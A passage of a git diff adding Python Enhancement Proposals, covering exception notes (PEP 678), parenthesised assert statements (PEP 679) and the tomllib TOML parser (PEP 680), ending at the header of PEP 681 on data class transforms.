+Post-History: 27-Jan-2022 +Resolution: https://discuss.python.org/t/pep-678-enriching-exceptions-with-notes/13374/100 + + +Abstract +======== +Exception objects are typically initialized with a message that describes the +error which has occurred. Because further information may be available when +the exception is caught and re-raised, or included in an ``ExceptionGroup``, +this PEP proposes to add ``BaseException.add_note(note)``, a +``.__notes__`` attribute holding a list of notes so added, and to +update the builtin traceback formatting code to include notes in the formatted +traceback following the exception string. + +This is particularly useful in relation to :pep:`654` ``ExceptionGroup``\ s, +which make previous workarounds ineffective or confusing. Use cases have been +identified in the standard library, Hypothesis and ``cattrs`` packages, and +common code patterns with retries. + + +Motivation +========== +When an exception is created in order to be raised, it is usually initialized +with information that describes the error that has occurred. There are cases +where it is useful to add information after the exception was caught. For +example, + +- testing libraries may wish to show the values involved in a failing + assertion, or the steps to reproduce a failure (e.g. ``pytest`` and + ``hypothesis``; example below). +- code which retries an operation on error may wish to associate an iteration, + timestamp, or other explanation with each of several errors - especially if + re-raising them in an ``ExceptionGroup``. +- programming environments for novices can provide more detailed descriptions + of various errors, and tips for resolving them. + +Existing approaches must pass this additional information around while keeping +it in sync with the state of raised, and potentially caught or chained, +exceptions. This is already error-prone, and made more difficult by :pep:`654` +``ExceptionGroup``\ s, so the time is right for a built-in solution. We +therefore propose to add: + +- a new method ``BaseException.add_note(note: str)``, +- ``BaseException.__notes__``, a list of note strings added using + ``.add_note()``, and +- support in the builtin traceback formatting code such that notes are + displayed in the formatted traceback following the exception string. + + +Example usage +------------- +:: + + >>> try: + ... raise TypeError('bad type') + ... except Exception as e: + ... e.add_note('Add some information') + ... raise + ... + Traceback (most recent call last): + File "", line 2, in + TypeError: bad type + Add some information + >>> + +When collecting exceptions into an exception group, we may want to add context +information for the individual errors. In the following example with +`Hypothesis' proposed support for ExceptionGroup +`__, each exception +includes a note of the minimal failing example:: + + from hypothesis import given, strategies as st, target + + @given(st.integers()) + def test(x): + assert x < 0 + assert x > 0 + + + + Exception Group Traceback (most recent call last): + | File "test.py", line 4, in test + | def test(x): + | + | File "hypothesis/core.py", line 1202, in wrapped_test + | raise the_error_hypothesis_found + | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + | ExceptionGroup: Hypothesis found 2 distinct failures. + +-+---------------- 1 ---------------- + | Traceback (most recent call last): + | File "test.py", line 6, in test + | assert x > 0 + | ^^^^^^^^^^^^ + | AssertionError: assert -1 > 0 + | + | Falsifying example: test( + | x=-1, + | ) + +---------------- 2 ---------------- + | Traceback (most recent call last): + | File "test.py", line 5, in test + | assert x < 0 + | ^^^^^^^^^^^^ + | AssertionError: assert 0 < 0 + | + | Falsifying example: test( + | x=0, + | ) + +------------------------------------ + + +Non-goals +--------- +Tracking multiple notes as a list, rather than by concatenating strings when +notes are added, is intended to maintain the distinction between the +individual notes. This might be required in specialized use cases, such +as translation of the notes by packages like ``friendly-traceback``. + +However, ``__notes__`` is *not* intended to carry structured data. If your +note is for use by a program rather than display to a human, `we recommend +`__ +instead (or additionally) choosing a convention for an attribute, e.g. +``err._parse_errors = ...`` on the error or ``ExceptionGroup``. + +As a rule of thumb, we suggest that you should prefer `exception chaining +`__ when the +error is going to be re-raised or handled as an individual error, and prefer +``.add_note()`` when you want to avoid changing the exception type or +are collecting multiple exception objects to handle together. [1]_ + + +Specification +============= + +``BaseException`` gains a new method ``.add_note(note: str)``. If ``note`` is +a string, ``.add_note(note)`` appends it to the ``__notes__`` list, creating +the attribute if it does not already exist. If ``note`` is not a string, +``.add_note()`` raises ``TypeError``. + +Libraries may clear existing notes by modifying or deleting the ``__notes__`` +list, if it has been created, including clearing all notes with +``del err.__notes__``. This allows full control over the attached notes, +without overly complicating the API or adding multiple names to +``BaseException.__dict__``. + +When an exception is displayed by the interpreter's builtin traceback-rendering code, +its notes (if there are any) appear immediately after the exception message, in the order +in which they were added, with each note starting on a new line. + +If ``__notes__`` has been created, ``BaseExceptionGroup.subgroup`` and +``BaseExceptionGroup.split`` create a new list for each new instance, containing +the same contents as the original exception group's ``__notes__``. + +We *do not* specify the expected behaviour when users have assigned a non-list +value to ``__notes__``, or a list which contains non-string elements. +Implementations might choose to emit warnings, discard or ignore bad values, +convert them to strings, raise an exception, or do something else entirely. + + +Backwards Compatibility +======================= + +System-defined or "dunder" names (following the pattern ``__*__``) are part of +the language specification, with `unassigned names reserved for future use and +subject to breakage without warning +`__. +We are also unaware of any code which *would* be broken by adding ``__notes__``. + +We were also unable to find any code which would be broken by the addition of +``BaseException.add_note()``: while searching Google and `GitHub finds several +definitions `__ +of an ``.add_note()`` method, none of them are on a subclass of +``BaseException``. + + +How to Teach This +================= + +The ``add_note()`` method and ``__notes__`` attribute will be documented as +part of the language standard, and explained as part of `the "Errors and +Exceptions" tutorial `__. + + +Reference Implementation +======================== + +Following discussions related to :pep:`654` [2]_, an early version of this +proposal was `implemented in `__ +and released in CPython 3.11.0a3, with a mutable string-or-none ``__note__`` +attribute. + +`CPython PR #31317 `__ +implements ``.add_note()`` and ``__notes__``. + + +Rejected Ideas +============== + +.. _print_idea: + +Use ``print()`` (or ``logging``, etc.) +-------------------------------------- +Reporting explanatory or contextual information about an error by printing or +logging has historically been an acceptable workaround. However, we dislike +the way this separates the content from the exception object it refers to - +which can lead to "orphan" reports if the error was caught and handled later, +or merely significant difficulties working out which explanation corresponds to +which error. The new ``ExceptionGroup`` type intensifies these existing +challenges. + +Keeping the ``__notes__`` attached to the exception object, in the same way as +the ``__traceback__`` attribute, eliminates these problems. + + +``raise Wrapper(explanation) from err`` +--------------------------------------- +An alternative pattern is to use exception chaining: by raising a 'wrapper' +exception containing the context or explanation ``from`` the current exception, +we avoid the separation challenges from ``print()``. However, this has two key +problems. + +First, it changes the type of the exception, which is often a breaking change +for downstream code. We consider *always* raising a ``Wrapper`` exception +unacceptably inelegant; but because custom exception types might have any +number of required arguments we can't always create an instance of the *same* +type with our explanation. In cases where the exact exception type is known +this can work, such as the standard library ``http.client`` `code +`__, +but not for libraries which call user code. + +Second, exception chaining reports several lines of additional detail, which +are distracting for experienced users and can be very confusing for beginners. +For example, six of the eleven lines reported for this simple example relate to +exception chaining, and are unnecessary with ``BaseException.add_note()``: + +.. code-block:: python + + class Explanation(Exception): + def __str__(self): + return "\n" + str(self) + + try: + raise AssertionError("Failed!") + except Exception as e: + raise Explanation("You can reproduce this error by ...") from e + +.. code-block:: + + $ python example.py + Traceback (most recent call last): + File "example.py", line 6, in + raise AssertionError(why) + AssertionError: Failed! + # These lines are + The above exception was the direct cause of ... # confusing for new + # users, and they + Traceback (most recent call last): # only exist due + File "example.py", line 8, in # to implementation + raise Explanation(msg) from e # constraints :-( + Explanation: # Hence this PEP! + You can reproduce this error by ... + +**In cases where these two problems do not apply, we encourage use of exception +chaining rather than** ``__notes__``. + + +An assignable ``__note__`` attribute +------------------------------------ +The first draft and implementation of this PEP defined a single attribute +``__note__``, which defaulted to ``None`` but could have a string assigned. +This is substantially simpler if, and only if, there is at most one note. + +To promote interoperability and support translation of error messages by +libraries such as ``friendly-traceback``, without resorting to dubious parsing +heuristics, we therefore settled on the ``.add_note()``-and-``__notes__`` API. + + +Subclass Exception and add note support downstream +-------------------------------------------------- +Traceback printing is built into the C code, and reimplemented in pure Python +in ``traceback.py``. To get ``err.__notes__`` printed from a downstream +implementation would *also* require writing custom traceback-printing code; +while this could be shared between projects and reuse some pieces of +traceback.py [3]_ we prefer to implement this once, upstream. + +Custom exception types could implement their ``__str__`` method to include our +proposed ``__notes__`` semantics, but this would be rarely and inconsistently +applicable. + + +Don't attach notes to ``Exception``\ s, just store them in ``ExceptionGroup``\ s +-------------------------------------------------------------------------------- +The initial motivation for this PEP was to associate a note with each error +in an ``ExceptionGroup``. At the cost of a remarkably awkward API and the +cross-referencing problem discussed `above `__, this +use-case could be supported by storing notes on the ``ExceptionGroup`` +instance instead of on each exception it contains. + +We believe that the cleaner interface, and other use-cases described above, +are sufficient to justify the more general feature proposed by this PEP. + + +Add a helper function ``contextlib.add_exc_note()`` +--------------------------------------------------- +It `was suggested +`__ +that we add a utility such as the one below to the standard library. We do not +see this idea as core to the proposal of this PEP, and thus leave it for later +or downstream implementation - perhaps based on this example code: + +.. code-block:: python + + @contextlib.contextmanager + def add_exc_note(note: str): + try: + yield + except Exception as err: + err.add_note(note) + raise + + with add_exc_note(f"While attempting to frobnicate {item=}"): + frobnicate_or_raise(item) + + +Augment the ``raise`` statement +------------------------------- +One discussion proposed ``raise Exception() with "note contents"``, but this +does not address the original motivation of compatibility with +``ExceptionGroup``. + +Furthermore, we do not believe that the problem we are solving requires or +justifies new language syntax. + + +Acknowledgements +================ +We wish to thank the many people who have assisted us through conversation, +code review, design advice, and implementation: Adam Turner, Alex Grönholm, +André Roberge, Barry Warsaw, Brett Cannon, CAM Gerlach, Carol Willing, Damian, +Erlend Aasland, Etienne Pot, Gregory Smith, Guido van Rossum, Irit Katriel, +Jelle Zijlstra, Ken Jin, Kumar Aditya, Mark Shannon, Matti Picus, Petr +Viktorin, Will McGugan, and pseudonymous commenters on Discord and Reddit. + + +References +========== + +.. [1] this principle was established in the 2003 mail thread which led to :pep:`3134`, + and included a proposal for a group-of-exceptions type! + https://mail.python.org/pipermail/python-dev/2003-January/032492.html +.. [2] particularly those at https://bugs.python.org/issue45607, + https://discuss.python.org/t/accepting-pep-654-exception-groups-and-except/10813/9, + https://github.com/python/cpython/pull/28569#discussion_r721768348, and +.. [3] We note that the ``exceptiongroup`` backport package maintains an exception + hook and monkeypatch for ``TracebackException`` for Pythons older than 3.11, + and encourage library authors to avoid creating additional and incompatible + backports. We also reiterate our preference for builtin support which + makes such measures unnecessary. + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0679.rst b/pep-0679.rst new file mode 100644 index 00000000000..6ec51b008c5 --- /dev/null +++ b/pep-0679.rst @@ -0,0 +1,175 @@ +PEP: 679 +Title: Allow parentheses in assert statements +Author: Pablo Galindo Salgado +Discussions-To: https://discuss.python.org/t/pep-679-allow-parentheses-in-assert-statements/13003 +Status: Draft +Type: Standards Track +Content-Type: text/x-rst +Created: 07-Jan-2022 +Python-Version: 3.11 + + +Abstract +======== + +This PEP proposes to allow parentheses surrounding the two-argument form of +assert statements. This will cause the interpreter to reinterpret what before +would have been an assert with a two-element tuple that will always be True +(``assert (expression, message)``) to an assert statement with a subject and a +failure message, equivalent to the statement with the parentheses removed +(``assert expression, message``). + + +Motivation +========== + +It is a common user mistake when using the form of the assert statement that includes +the error message to surround it with parentheses. Unfortunately, this mistake +passes undetected as the assert will always pass, because it is +interpreted as an assert statement where the expression is a two-tuple, which +always has truth-y value. + +The mistake most often happens when extending the test or description beyond a +single line, as parentheses are the natural way to do that. + +This is so common that a ``SyntaxWarning`` is `now emitted by the compiler +`_. + +Additionally, some other statements in the language allow parenthesized forms +in one way or another like ``import`` statements (``from x import (a,b,c)``) and +``del`` statements (``del (a,b,c)``). + +Allowing parentheses not only will remove the common mistake but also will allow +users and auto-formatters to format long assert statements over multiple lines +in what the authors of this document believe will be a more natural way. +Although is possible to currently format long ``assert`` statements over +multiple lines as:: + + assert ( + very very long + expression + ), ( + "very very long " + "message" + ) + +the authors of this document believe the parenthesized form is more clear and more consistent with +the formatting of other grammar constructs:: + + assert ( + very very long + expression, + + "very very long " + "message", + ) + +This change has been originally discussed and proposed in [bpo-46167]_. + +Rationale +========= + +This change can be implemented in the parser or in the compiler. We have +selected implementing this change in the parser because doing it in the compiler +will require re-interpreting the AST of an assert statement with a two-tuple:: + + Module( + body=[ + Assert( + test=Tuple( + elts=[ + Name(id='x', ctx=Load()), + Name(id='y', ctx=Load())], + ctx=Load()))], + type_ignores=[]) + +as the AST of an assert statement with an expression and a message:: + + Module( + body=[ + Assert( + test=Name(id='x', ctx=Load()), + msg=Name(id='y', ctx=Load()))], + type_ignores=[]) + +The problem with this approach is that the AST of the first form will +technically be "incorrect" as we already have a specialized form for the AST of +an assert statement with a test and a message (the second one). This +means that many tools that deal with ASTs will need to be aware of this change +in semantics, which will be confusing as there is already a correct form that +better expresses the new meaning. + +Specification +============= + +This PEP proposes changing the grammar of the ``assert`` statement to: :: + + | 'assert' '(' expression ',' expression [','] ')' &(NEWLINE | ';') + | 'assert' a=expression [',' expression ] + +Where the first line is the new form of the assert statement that allows +parentheses. The lookahead is needed so statements like ``assert (a, b) <= c, +"something"`` are still parsed correctly and to prevent the parser to eagerly +capture the tuple as the full statement. + +Optionally, new "invalid" rule can be added to produce custom syntax errors to +cover tuples with 0, 1, 3 or more elements. + + +Backwards Compatibility +======================= + +The change is not technically backwards compatible, as parsing ``assert (x,y)`` +is currently interpreted as an assert statement with a 2-tuple as the subject, +while after this change it will be interpreted as ``assert x,y``. + +On the other hand, assert statements of this kind always pass, so they are +effectively not doing anything in user code. The authors of this document think +that this backwards incompatibility nature is beneficial, as it will highlight +these cases in user code while before they will have passed unnoticed (assuming that +these cases still exist because users are ignoring syntax warnings). + +Security Implications +===================== + +There are no security implications for this change. + + +How to Teach This +================= + +The new form of the ``assert`` statement will be documented as part of the language +standard. + +When teaching the form with error message of the ``assert`` statement to users, +now it can be noted that adding parentheses also work as expected, which allows to break +the statement over multiple lines. + + +Reference Implementation +======================== + +A proposed draft PR with the change exist in [GH-30247]_. + + +References +========== + +.. [bpo-46167] https://bugs.python.org/issue46167 +.. [GH-30247] https://github.com/python/cpython/pull/30247 + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0680.rst b/pep-0680.rst new file mode 100644 index 00000000000..235c94bdb95 --- /dev/null +++ b/pep-0680.rst @@ -0,0 +1,541 @@ +PEP: 680 +Title: tomllib: Support for Parsing TOML in the Standard Library +Author: Taneli Hukkinen, Shantanu Jain +Sponsor: Petr Viktorin +Discussions-To: https://discuss.python.org/t/13040 +Status: Accepted +Type: Standards Track +Content-Type: text/x-rst +Created: 01-Jan-2022 +Python-Version: 3.11 +Post-History: 11-Jan-2022 +Resolution: https://mail.python.org/archives/list/python-dev@python.org/thread/3AHGWYY562HHO55L4Z2OVYUFZP5W73IS/ + + +Abstract +======== + +This PEP proposes adding the ``tomllib`` module to the standard library for +parsing TOML (Tom's Obvious Minimal Language, +`https://toml.io `_). + + +Motivation +========== + +TOML is the format of choice for Python packaging, as evidenced by +:pep:`517`, :pep:`518` and :pep:`621`. This creates a bootstrapping +problem for Python build tools, forcing them to vendor a TOML parsing +package or employ other undesirable workarounds, and causes serious issues +for repackagers and other downstream consumers. Including TOML support in +the standard library would neatly solve all of these issues. + +Further, many Python tools are now configurable via TOML, such as +``black``, ``mypy``, ``pytest``, ``tox``, ``pylint`` and ``isort``. +Many that are not, such as ``flake8``, cite the lack of standard library +support as a `main reason why +`__. +Given the special place TOML already has in the Python ecosystem, it makes sense +for it to be an included battery. + +Finally, TOML as a format is increasingly popular (for the reasons +outlined in :pep:`518`), with various Python TOML libraries having about +2000 reverse dependencies on PyPI (for comparison, ``requests`` has about +28000 reverse dependencies). Hence, this is likely to be a generally useful +addition, even looking beyond the needs of Python packaging and related tools. + + +Rationale +========= + +This PEP proposes basing the standard library support for reading TOML on the +third-party library ``tomli`` +(`github.com/hukkin/tomli `_). + +Many projects have recently switched to using ``tomli``, such as ``pip``, +``build``, ``pytest``, ``mypy``, ``black``, ``flit``, ``coverage``, +``setuptools-scm`` and ``cibuildwheel``. + +``tomli`` is actively maintained and well-tested. It is about 800 lines +of code with 100% test coverage, and passes all tests in the +`proposed official TOML compliance test suite +`_, as well as +`the more established BurntSushi/toml-test suite +`_. + + +Specification +============= + +A new module ``tomllib`` will be added to the Python standard library, +exposing the following public functions: + +.. code-block:: + + def load( + fp: SupportsRead[bytes], + /, + *, + parse_float: Callable[[str], Any] = ..., + ) -> dict[str, Any]: ... + + def loads( + s: str, + /, + *, + parse_float: Callable[[str], Any] = ..., + ) -> dict[str, Any]: ... + +``tomllib.load`` deserializes a binary file-like object containing a +TOML document to a Python ``dict``. +The ``fp`` argument must have a ``read()`` method with the same API as +``io.RawIOBase.read()``. + +``tomllib.loads`` deserializes a ``str`` instance containing a TOML document +to a Python ``dict``. + +The ``parse_float`` argument is a callable object that takes as input the +original string representation of a TOML float, and returns a corresponding +Python object (similar to ``parse_float`` in ``json.load``). +For example, the user may pass a function returning a ``decimal.Decimal``, +for use cases where exact precision is important. By default, TOML floats +are parsed as instances of the Python ``float`` type. + +The returned object contains only basic Python objects (``str``, ``int``, +``bool``, ``float``, ``datetime.{datetime,date,time}``, ``list``, ``dict`` with +string keys), and the results of ``parse_float``. + +``tomllib.TOMLDecodeError`` is raised in the case of invalid TOML. + +Note that this PEP does not propose ``tomllib.dump`` or ``tomllib.dumps`` +functions; see `Including an API for writing TOML`_ for details. + + +Maintenance Implications +======================== + +Stability of TOML +----------------- + +The release of TOML 1.0.0 in January 2021 indicates the TOML format should +now be officially considered stable. Empirically, TOML has proven to be a +stable format even prior to the release of TOML 1.0.0. From the +`changelog `__, we +can see that TOML has had no major changes since April 2020, and has had +two releases in the past five years (2017-2021). + +In the event of changes to the TOML specification, we can treat minor +revisions as bug fixes and update the implementation in place. In the event of +major breaking changes, we should preserve support for TOML 1.x. + + +Maintainability of proposed implementation +------------------------------------------ + +The proposed implementation (``tomli``) is pure Python, well tested and +weighs in at under 1000 lines of code. It is minimalist, offering a smaller API +surface area than other TOML implementations. + +The author of ``tomli`` is willing to help integrate ``tomli`` into the standard +library and help maintain it, `as per this post +`__. +Furthermore, Python core developer Petr Viktorin has indicated a willingness +to maintain a read API, `as per this post +`__. + +Rewriting the parser in C is not deemed necessary at this time. It is rare for +TOML parsing to be a bottleneck in applications, and users with higher performance +needs can use a third-party library (as is already often the case with JSON, +despite Python offering a standard library C-extension module). + + +TOML support a slippery slope for other things +---------------------------------------------- + +As discussed in the `Motivation`_ section, TOML holds a special place in the +Python ecosystem, for reading :pep:`518` ``pyproject.toml`` packaging +and tool configuration files. +This chief reason to include TOML in the standard library does not apply to +other formats, such as YAML or MessagePack. + +In addition, the simplicity of TOML distinguishes it from other formats like +YAML, which are highly complicated to construct and parse. + +An API for writing TOML may, however, be added in a future PEP. + + +Backwards Compatibility +======================= + +This proposal has no backwards compatibility issues within the standard +library, as it describes a new module. +Any existing third-party module named ``tomllib`` will break, as +``import tomllib`` will import the standard library module. +However, ``tomllib`` is not registered on PyPI, so it is unlikely that any +module with this name is widely used. + +Note that we avoid using the more straightforward name ``toml`` to avoid +backwards compatibility implications for users who have pinned versions of the +current ``toml`` PyPI package. +For more details, see the `Alternative names for the module`_ section. + + +Security Implications +===================== + +Errors in the implementation could cause potential security issues. +However, the parser's output is limited to simple data types; inability to load +arbitrary classes avoids security issues common in more "powerful" formats like +pickle and YAML. Also, the implementation will be in pure Python, which reduces +security issues endemic to C, such as buffer overflows. + + +How to Teach This +================= + +The API of ``tomllib`` mimics that of other well-established file format +libraries, such as ``json`` and ``pickle``. The lack of a ``dump`` function will +be explained in the documentation, with a link to relevant third-party libraries +(e.g. ``tomlkit``, ``tomli-w``, ``pytomlpp``). + + +Reference Implementation +======================== + +The proposed implementation can be found at https://github.com/hukkin/tomli + + +Rejected Ideas +============== + +Basing on another TOML implementation +------------------------------------- + +Several potential alternative implementations exist: + +* ``tomlkit`` is well established, actively maintained and supports TOML 1.0.0. + An important difference is that ``tomlkit`` supports style roundtripping. As a + result, it has a more complex API and implementation (about 5x as much code as + ``tomli``). Its author does not believe that ``tomlkit`` is a good choice for + the standard library. + +* ``toml`` is a very widely used library. However, it is not actively + maintained, does not support TOML 1.0.0 and has a number of known bugs. Its + API is more complex than that of ``tomli``. It allows customising output style + through a complicated encoder API, and some very limited and mostly unused + functionality to preserve input style through an undocumented decoder API. + For more details on its API differences from this PEP, refer to `Appendix A`_. + +* ``pytomlpp`` is a Python wrapper for the C++ project ``toml++``. Pure Python + libraries are easier to maintain than extension modules. + +* ``rtoml`` is a Python wrapper for the Rust project ``toml-rs`` and hence has + similar shortcomings to ``pytomlpp``. + In addition, it does not support TOML 1.0.0. + +* Writing an implementation from scratch. It's unclear what we would get from + this; ``tomli`` meets our needs and the author is willing to help with its + inclusion in the standard library. + + +Including an API for writing TOML +--------------------------------- + +There are several reasons to not include an API for writing TOML. + +The ability to write TOML is not needed for the use cases that motivate this +PEP: core Python packaging tools, and projects that need to read TOML +configuration files. + +Use cases that involve editing an existing TOML file (as opposed to writing a +brand new one) are better served by a style preserving library. TOML is +intended as a human-readable and -editable configuration format, so it's +important to preserve comments, formatting and other markup. This requires +a parser whose output includes style-related metadata, making it impractical +to output plain Python types like ``str`` and ``dict``. Furthermore, it +substantially complicates the design of the API. + +Even without considering style preservation, there are too many degrees of +freedom in how to design a write API. For example, what default style +(indentation, vertical and horizontal spacing, quotes, etc) should the library +use for the output, and how much control should users be given over it? +How should the library handle input and output validation? Should it support +serialization of custom types, and if so, how? While there are reasonable +options for resolving these issues, the nature of the standard library is such +that we only get "one chance to get it right". + +Currently, no CPython core developers have expressed willingness to maintain a +write API, or sponsor a PEP that includes one. Since it is hard to change +or remove something in the standard library, it is safer to err on the side of +exclusion for now, and potentially revisit this later. + +Therefore, writing TOML is left to third-party libraries. If a good API and +relevant use cases for it are found later, write support can be added in a +future PEP. + + +Assorted API details +-------------------- + +Types accepted as the first argument of ``tomllib.load`` +'''''''''''''''''''''''''''''''''''''''''''''''''''''''' + +The ``toml`` library on PyPI allows passing paths (and lists of path-like +objects, ignoring missing files and merging the documents into a single object) +to its ``load`` function. However, allowing this here would be inconsistent +with the behavior of ``json.load``, ``pickle.load`` and other standard library +functions. If we agree that consistency here is desirable, +allowing paths is out of scope for this PEP. This can easily and explicitly +be worked around in user code, or by using a third-party library. + +The proposed API takes a binary file, while ``toml.load`` takes a text file and +``json.load`` takes either. Using a binary file allows us to ensure UTF-8 is +the encoding used (ensuring correct parsing on platforms with other default +encodings, such as Windows), and avoid incorrectly parsing files containing +single carriage returns as valid TOML due to universal newlines in text mode. + + +Type accepted as the first argument of ``tomllib.loads`` +'''''''''''''''''''''''''''''''''''''''''''''''''''''''' + +While ``tomllib.load`` takes a binary file, ``tomllib.loads`` takes +a text string. This may seem inconsistent at first. + +Quoting the `TOML v1.0.0 specification `_: + + A TOML file must be a valid UTF-8 encoded Unicode document. + +``tomllib.loads`` does not intend to load a TOML file, but rather the +document that the file stores. The most natural representation of +a Unicode document in Python is ``str``, not ``bytes``. + +It is possible to add ``bytes`` support in the future if needed, but +we are not aware of any use cases for it. + + +Controlling the type of mappings returned by ``tomllib.load[s]`` +---------------------------------------------------------------- + +The ``toml`` library on PyPI accepts a ``_dict`` argument in its ``load[s]`` +functions, which works similarly to the ``object_hook`` argument in +``json.load[s]``. There are several uses of ``_dict`` found on +https://grep.app; however, almost all of them are passing +``_dict=OrderedDict``, which should be unnecessary as of Python 3.7. +We found two instances of relevant use: in one case, a custom class was passed +for friendlier KeyErrors; in the other, the custom class had several +additional lookup and mutation methods (e.g. to help resolve dotted keys). + +Such a parameter is not necessary for the core use cases outlined in the +`Motivation`_ section. The absence of this can be pretty easily worked around +using a wrapper class, transformer function, or a third-party library. Finally, +support could be added later in a backward-compatible way. + + +Removing support for ``parse_float`` in ``tomllib.load[s]`` +----------------------------------------------------------- + +This option is not strictly necessary, since TOML floats should be implemented +as "IEEE 754 binary64 values", which is equivalent to a Python ``float`` on most +architectures. + +The TOML specification uses the word "SHOULD", however, implying a +recommendation that can be ignored for valid reasons. Parsing floats +differently, such as to ``decimal.Decimal``, allows users extra precision beyond +that promised by the TOML format. In the author of ``tomli``'s experience, this +is particularly useful in scientific and financial applications. This is also +useful for other cases that need greater precision, or where end-users include +non-developers who may not be aware of the limits of binary64 floats. + +There are also niche architectures where the Python ``float`` is not a IEEE 754 +binary64 value. The ``parse_float`` argument allows users to achieve correct +TOML semantics even on such architectures. + + +Alternative names for the module +-------------------------------- + +Ideally, we would be able to use the ``toml`` module name. + +However, the ``toml`` package on PyPI is widely used, so there are backward +compatibility concerns. Since the standard library takes precedence over third +party packages, libraries and applications who current depend on the ``toml`` +package would likely break when upgrading Python versions due to the many +API incompatibilities listed in `Appendix A`_, even if they pin their +dependency versions. + +To further clarify, applications with pinned dependencies are of greatest +concern here. Even if we were able to obtain control of the ``toml`` PyPI +package name and repurpose it for a backport of the proposed new module, +we would still break users on new Python versions that included it in the +standard library, regardless of whether they have pinned an older version of +the existing ``toml`` package. This is unfortunate, since pinning +would likely be a common response to breaking changes introduced by repurposing +the ``toml`` package as a backport (that is incompatible with today's ``toml``). + +Finally, the ``toml`` package on PyPI is not actively maintained, but as of +yet, efforts to request that the author add other maintainers +`have been unsuccessful `__, +so action here would likely have to be taken without the author's consent. + +Instead, this PEP proposes the name ``tomllib``. This mirrors ``plistlib`` +and ``xdrlib``, two other file format modules in the standard library, as well +as other modules, such as ``pathlib``, ``contextlib`` and ``graphlib``. + +Other names considered but rejected include: + +* ``tomlparser``. This mirrors ``configparser``, but is perhaps somewhat less + appropriate if we include a write API in the future. +* ``tomli``. This assumes we use ``tomli`` as the basis for implementation. +* ``toml`` under some namespace, such as ``parser.toml``. However, this is + awkward, especially so since existing parsing libraries like ``json``, + ``pickle``, ``xml``, ``html`` etc. would not be included in the namespace. + + +Previous Discussion +=================== + +* `bpo-40059: Provide a toml module in the standard library + `_ +* `[Python-Dev] Adding a toml module to the standard lib? + `_ +* `[Python-Ideas] Python standard library TOML module + `_ +* `[Packaging] Adopting/recommending a toml parser? + `_ +* `hukkin/tomli#141: Please consider pushing tomli into the stdlib + `_ + + +.. _Appendix A: + +Appendix A: Differences between proposed API and ``toml`` +========================================================= + +This appendix covers the differences between the API proposed in this PEP and +that of the third-party package ``toml``. These differences are relevant to +understanding the amount of breakage we could expect if we used the ``toml`` +name for the standard library module, as well as to better understand the design +space. Note that this list might not be exhaustive. + +#. No proposed inclusion of a write API (no ``toml.dump[s]``) + + This PEP currently proposes not including a write API; that is, there will + be no equivalent of ``toml.dump`` or ``toml.dumps``, as discussed at + `Including an API for writing TOML`_. + + If we included a write API, it would be relatively straightforward to + convert most code that uses ``toml`` to the new standard library module + (acknowledging that this is very different from a compatible API, as it + would still require code changes). + + A significant fraction of ``toml`` users rely on this, based on comparing + `occurrences of "toml.load" `__ + to `occurrences of "toml.dump" `__. + +#. Different first argument of ``toml.load`` + + ``toml.load`` has the following signature: + + .. code-block:: + + def load( + f: Union[SupportsRead[str], str, bytes, list[PathLike | str | bytes]], + _dict: Type[MutableMapping[str, Any]] = ..., + decoder: TomlDecoder = ..., + ) -> MutableMapping[str, Any]: ... + + This is quite different from the first argument proposed in this PEP: + ``SupportsRead[bytes]``. + + Recapping the reasons for this, previously mentioned at + `Types accepted as the first argument of tomllib.load`_: + + * Allowing paths (and even lists of paths) as arguments is inconsistent with + other similar functions in the standard library. + * Using ``SupportsRead[bytes]`` allows us to ensure UTF-8 is the encoding used, + and avoid incorrectly parsing single carriage returns as valid TOML. + + A significant fraction of ``toml`` users rely on this, based on manual + inspection of `occurrences of "toml.load" + `__. + +#. Errors + + ``toml`` raises ``TomlDecodeError``, vs. the proposed :pep:`8`-compliant + ``TOMLDecodeError``. + + A significant fraction of ``toml`` users rely on this, based on + `occurrences of "TomlDecodeError" + `__. + +#. ``toml.load[s]`` accepts a ``_dict`` argument + + Discussed at `Controlling the type of mappings returned by tomllib.load[s]`_. + + As mentioned there, almost all usage consists of ``_dict=OrderedDict``, + which is not necessary in Python 3.7 and later. + +#. ``toml.load[s]`` support an undocumented ``decoder`` argument + + It seems the intended use case is for an implementation of comment + preservation. The information recorded is not sufficient to roundtrip the + TOML document preserving style, the implementation has known bugs, the + feature is undocumented and we could only find one instance of its use on + https://grep.app. + + The `toml.TomlDecoder interface + `__ + exposed is far from simple, containing nine methods. + + Users are likely better served by a more complete implementation of + style-preserving parsing and writing. + +#. ``toml.dump[s]`` support an ``encoder`` argument + + Note that we currently propose to not include a write API; however, if that + were to change, these differences would likely become relevant. + + The ``encoder`` argument enables two use cases: + + * control over how custom types should be serialized, and + * control over how output should be formatted. + + The first is reasonable; however, we could only find two instances of + this on https://grep.app. One of these two used this ability to add + support for dumping ``decimal.Decimal``, which a potential standard library + implementation would support out of the box. + If needed for other types, this use case could be well served by the + equivalent of the ``default`` argument in ``json.dump``. + + The second use case is enabled by allowing users to specify subclasses of + `toml.TomlEncoder + `__ + and overriding methods to specify parts of the TOML writing process. The API + consists of five methods and exposes substantial implementation detail. + + There is some usage of the ``encoder`` API on https://grep.app; however, it + appears to account for a tiny fraction of the overall usage of ``toml``. + +#. Timezones + + ``toml`` uses and exposes custom ``toml.tz.TomlTz`` timezone objects. The + proposed implementation uses ``datetime.timezone`` objects from the standard + library. + + +Copyright +========= + +This document is placed in the public domain or under the +CC0-1.0-Universal license, whichever is more permissive. + + + +.. + Local Variables: + mode: indented-text + indent-tabs-mode: nil + sentence-end-double-space: t + fill-column: 70 + coding: utf-8 + End: diff --git a/pep-0681.rst b/pep-0681.rst new file mode 100644 index 00000000000..bc5dd0e80c0 --- /dev/null +++ b/pep-0681.rst @@ -0,0 +1,757 @@ +PEP: 681 +Title: Data Class Transforms +Author: Erik De Bonte , + Eric Traut +Sponsor: Jelle Zijlstra +Discussions-To: https://mail.python.org/archives/list/typing-sig@python.org/thread/EAALIHA3XEDFDNG2NRXTI3ERFPAD65Z4/ +Status: Accepted +Type: Standards Track +Content-Type: text/x-rst +Created: 02-Dec-2021 +Python-Version: 3.11 